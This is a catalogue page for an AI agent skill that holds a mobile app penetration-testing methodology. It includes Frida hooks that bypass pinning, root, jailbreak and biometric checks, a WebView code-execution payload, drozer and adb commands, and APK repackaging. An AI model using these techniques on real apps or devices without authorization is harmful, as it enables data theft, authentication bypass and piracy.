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Offensive Mobile

CommunityPopular
SnailSploit
offensive-mobile

Mobile (Android + iOS) application penetration testing methodology. Covers static analysis (apktool/jadx for Android, class-dump/Hopper/IDA for iOS), dynamic instrumentation with Frida and Objection, SSL pinning bypass strategies, root/jailbreak detection bypass, deep-link / URL-scheme abuse, exported component attacks (Android activities, services, providers, receivers; iOS XPC, URL schemes, universal links), insecure data storage (SharedPrefs, KeyStore misuse, NSUserDefaults, Keychain ACL bypass), IPC / Intent redirection, WebView vulnerabilities (JavaScriptInterface, file:// access), Firebase/AWS/Azure misconfiguration leakage, mobile API testing, biometric/Face ID/Touch ID bypass, app-cloning and runtime patching, and mobile malware/RAT analysis primitives. Use for mobile pentest, bug bounty mobile triage, or app-store reconnaissance.

Overview

PublisherSnailSploit
RepositoryClaude-Red
Skill nameoffensive-mobile
Stars
6K
Forks
775
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by SnailSploit on GitHub. Read the source before you install it.

Installation

Install the Offensive Mobile AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p .claude/skills
cp -r /tmp/Claude-Red/Skills/mobile/offensive-mobile .claude/skills/offensive-mobile
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Offensive Mobile in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Offensive Mobile on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Offensive Mobile is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Mobile (Android + iOS) — Offensive Testing Methodology

Quick Workflow

  1. Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints
  2. Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS
  3. Map exported attack surface: deep links, URL schemes, exported components
  4. Storage / Keystore audit: where do secrets live, what protects them
  5. API: every backend the app talks to is your scope — test like a web app

Lab Setup

Android

  • Rooted device or Genymotion / Android Studio AVD with userdebug build
  • Magisk for systemless root; LSPosed for hooks; Frida server matching device arch
  • Burp / Mitmproxy with system-trusted CA via Magisk module (MagiskTrustUserCerts)

iOS

  • Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
  • Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
  • Burp CA installed via Settings → General → Device Management → Certificate Trust Settings

Static Analysis

Android

bash
# Decode resources + smali
apktool d app.apk -o app

# Decompile to Java
jadx -d app_src app.apk

# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig
bash
# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/   # leftover debug logs

# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions

iOS

bash
# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"

# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app

# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA

# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
bash
# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions

Dynamic Analysis & Frida

Common Hooks

javascript
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
  const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
  // ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});

// Bypass root detection
Java.perform(() => {
  const File = Java.use('java.io.File');
  File.exists.implementation = function () {
    const path = this.getAbsolutePath();
    if (path.includes('su') || path.includes('Magisk')) return false;
    return this.exists();
  };
});

// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
  onEnter(args) {
    const path = args[0].readUtf8String();
    if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
      args[0] = Memory.allocUtf8String('/nonexistent');
    }
  }
});

Objection (Frida-based shortcuts)

bash
objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump

SSL / TLS Interception

Android Network Security Config

App with <network-security-config> requiring its own pinned CA: edit res/xml/network_security_config.xml, repack:

bash
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk

Or live-bypass with Frida (preferred — no recompile).

iOS ATS / Pinning

For pinning, use Frida hooks against SecTrustEvaluate* / NSURLSession delegate methods. ATS exceptions in Info.plist (NSAllowsArbitraryLoads) make MITM trivial without pinning.


Exported / IPC Attack Surface

Android — Exported Components

bash
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
    --extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets

Targets:

  • exported="true" activities → call from another app, bypass auth
  • ContentProviders without grantUriPermissions → arbitrary read
  • Receivers handling BOOT_COMPLETED etc. with privileged actions
  • Services bound by intent extras → command injection

Intent Redirection / PendingIntent Hijack

java
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity

iOS — URL Schemes / Universal Links

bash
# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"

Universal Links: check apple-app-site-association on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.

iOS XPC / Mach Services

launchctl list | grep com.vendor enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.


Insecure Data Storage

Android

bash
# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz

Inspect:

  • shared_prefs/*.xml — preferences in plaintext
  • databases/*.db — SQLite (use sqlite3 to dump)
  • files/ — arbitrary writes
  • cache/ and external storage (sdcard/Android/data/...) — often readable across apps

Android Keystore Misuse

  • Keys created without setUserAuthenticationRequired(true) → use any time process is running
  • AES-GCM with reused IV (devs often hardcode IV)
  • RSA without proper padding (PKCS1 v1.5 vs OAEP)

iOS Keychain

bash
# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
#   AlwaysThisDeviceOnly  → readable when phone locked (bad for secrets)
#   WhenUnlocked          → standard
#   AlwaysThisDeviceOnly  → bypasses screen lock

iOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.


WebView Vulnerabilities

Android addJavascriptInterface

If the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.

javascript
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
  .getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')

file:// and Content://

WebView with setAllowFileAccessFromFileURLs(true) + a HTML attachment that the user opens → reads any file the app can.

iOS WKWebView

  • WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically
  • wkScriptMessageHandler exposed — same JS bridge concern as Android
  • File URL load with loadFileURL and broad allowingReadAccessTo directory

Biometric / Auth Bypass

Android BiometricPrompt

Apps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.

javascript
Java.perform(() => {
  const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
  Cb.onAuthenticationSucceeded.implementation = function (r) {
    return this.onAuthenticationSucceeded(r);  // accept whatever
  };
  Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});

iOS LAContext

evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics) — if the app trusts the boolean result without using a Keychain item bound to biometrics, you can flip it.

javascript
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
  onEnter(args) {
    const cb = new ObjC.Block(args[4]);
    const orig = cb.implementation;
    cb.implementation = function(success, err) { orig.call(this, true, NULL); };
  }
});

The fix on the dev side is to use a biometric-bound key in the Keychain — the bypass above doesn't yield key access.


Firebase / Cloud Misconfig (highest hit-rate)

Firebase Realtime DB (still common)

Pull URL from app:

bash
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
# Test for unauth read
curl https://target-app.firebaseio.com/.json
# If returns data → unauth read

Firestore

Rules misconfigured to allow read, write: if true; — visible in app's REST calls. Test with anon SDK or direct REST.

S3 / GCS / Azure Blob

Unsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.

Embedded API Keys

Google Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.

bash
truffleHog filesystem app_src/
gitleaks detect --source app_src/

Mobile API Testing

The backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:

  • Device-bound headers (X-Device-ID, X-App-Version, X-Signature) often calculable client-side. Pull the algorithm from the binary.
  • Request signing: HMAC with key embedded in app → game over, sign anything.
  • Mobile-only endpoints that skip rate limiting because they're "behind app authentication"
  • Older API versions still alive: /api/v1/... retired in newer app, server still serving with weaker auth.
  • Push notification topics: subscribing to /topics/<predictable> may receive messages meant for others (Firebase Messaging).

App Tampering & Repackaging

bash
# Patch a check (e.g. premium=true)
# Smali edit
sed -i 's/return-void/const\/4 v0, 0x1\n    return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apk

For commercial bypasses, use LSPosed module so original APK isn't modified — bypasses signature checks that lock down repackaged variants.


iOS Specifics

Entitlements

bash
codesign -d --entitlements - Payload/App.app/App

Look for: keychain-access-groups (cross-app keychain), com.apple.security.application-groups (shared containers), com.apple.developer.associated-domains (universal links), private entitlements (rare).

URL Schemes from Other Apps

objc
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];

Any app can invoke any registered URL scheme. Validate sender? Most don't.

App Groups Shared Container

/private/var/mobile/Containers/Shared/AppGroup/<UUID>/

Multiple apps from same vendor share — secrets here cross app boundary.


Detection / Defender View

DetectorBypass
Frida server detection (port 27042 open)Run frida-server on alt port, use frida -H
Magisk detection via /sbin/magiskMagisk Hide / DenyList
Emulator detectionRun on real device, or stub Build.FINGERPRINT etc.
iOS jailbreak detection (file existence)Frida hook stat / fopen / dlopen
Anti-debug ptrace(PT_DENY_ATTACH)Frida-stalker-based, or kernel patch
Certificate pinningFrida universal pinning bypass
App attestation (Play Integrity / DeviceCheck)Hard — usually requires server-side bypass or app attestation token relay

Engagement Checklist

[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis

Key References

Frequently asked questions

What does the Offensive Mobile AI skill do?

Mobile (Android + iOS) application penetration testing methodology. Covers static analysis (apktool/jadx for Android, class-dump/Hopper/IDA for iOS), dynamic instrumentation with Frida and Objection, SSL pinning bypass strategies, root/jailbreak detection bypass, deep-link / URL-scheme abuse, exported component attacks (Android activities, services, providers, receivers; iOS XPC, URL schemes, universal links), insecure data storage (SharedPrefs, KeyStore misuse, NSUserDefaults, Keychain ACL bypass), IPC / Intent redirection, WebView vulnerabilities (JavaScriptInterface, file:// access), Fir...

Why use Offensive Mobile on TypingMind?

Because you install it once and use it with any model. Offensive Mobile is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Offensive Mobile in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SnailSploit/Claude-Red/tree/main/Skills/mobile/offensive-mobile. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Offensive Mobile?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Offensive Mobile?

As many as you like. As long as a model supports skills, you can use Offensive Mobile with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Offensive Mobile AI skill free?

Yes. It is published on GitHub by SnailSploit under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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